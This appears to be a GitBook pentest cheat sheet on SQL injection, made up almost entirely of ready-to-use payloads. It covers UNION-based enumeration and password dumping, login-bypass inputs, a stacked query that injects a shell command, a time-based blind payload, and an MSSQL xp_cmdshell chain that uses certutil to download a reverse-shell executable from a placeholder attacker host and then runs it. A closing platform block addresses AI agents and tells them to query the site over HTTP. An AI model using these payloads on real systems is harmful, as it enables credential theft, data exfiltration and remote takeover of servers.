# SQL injection

## Exploit Process:

### Checking:

```
'
"
' or 1='1' --
id=1 AND 1=1
id=1 AND 1=1
```

### Get Table Fields Number:

```
ticket?id=1 AND 1=1 ORDER BY 10
ticket?id=1 AND 1=1 ORDER BY 3
```

### Check Output Locations:

```
ticket?id=1.1 UNION SELECT 1,2,3--
```

### Get Database Version, TABLE\_SCHEMA,TABLE\_NAME,COLUMN\_NAME,Dump Data:

```url
ticket?id=1.1 UNION SELECT VERSION(),DATABASE(),3--

ticket?id=1.1 UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()--

ticket?id=1.1 UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME='users'--

ticket?id=1.1 UNION SELECT 1,password,3 FROM users WHERE username='admin'--
```

## Bypassing Login:

```
USERNAME = ' UNION SELECT '123' AS password# 
PASSWORD = 123
```

```
SELECT password FROM admins WHERE username='admin' UNION SELECT '123' AS password#
```

## Exploit:

### 1.user and password field:

```
username=test' UNION SELECT 'pass' as password FROM admins WHERE '1'='1
password=pass
```

### 2.getting file:

```
id=1.1 union select 'main.py'            ///uwsgi-nginx-flask-docker
```

```
?id=1; update photos set filename='* || env >temp.txt' where id=3; commit; --
```

### 3.MariaDB:

```
ticket?id=1.1 UNTION SELECT 1,2,3--
UNION SELECT VERSION(),DATABASE(),3--
UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()--
UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME='users'--
UNION SELECT CONCAT(username,0x3a,password),2,3 FROM users--

```

## Microsoft SQL Server:

### Executing RCE by *xp\_cmdshell*:

1.**Enabling Configuration:**  `'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --`

2.**Downloading Payload:    **  `'; EXEC xp_cmdshell 'certutil -urlcache -f http://YOUR.IP.ADDRESS.HERE:8000/reverse.exe C:\Windows\Temp\reverse.exe'; --`

3.**executing**:  `'; EXEC xp_cmdshell 'C:\Windows\Temp\reverse.exe'; --`

## Payloads

```sql
admin'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z
```

## Tools

1. SQLmap
2. ghauri

## Further Reading

1. <https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4>

{% hint style="info" %}
Advance filter bypass:&#x20;

<https://websec.wordpress.com/2010/03/19/exploiting-hard-filtered-sql-injections/>

{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://shahidulandshamim.gitbook.io/web-application/exploitation/sql-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.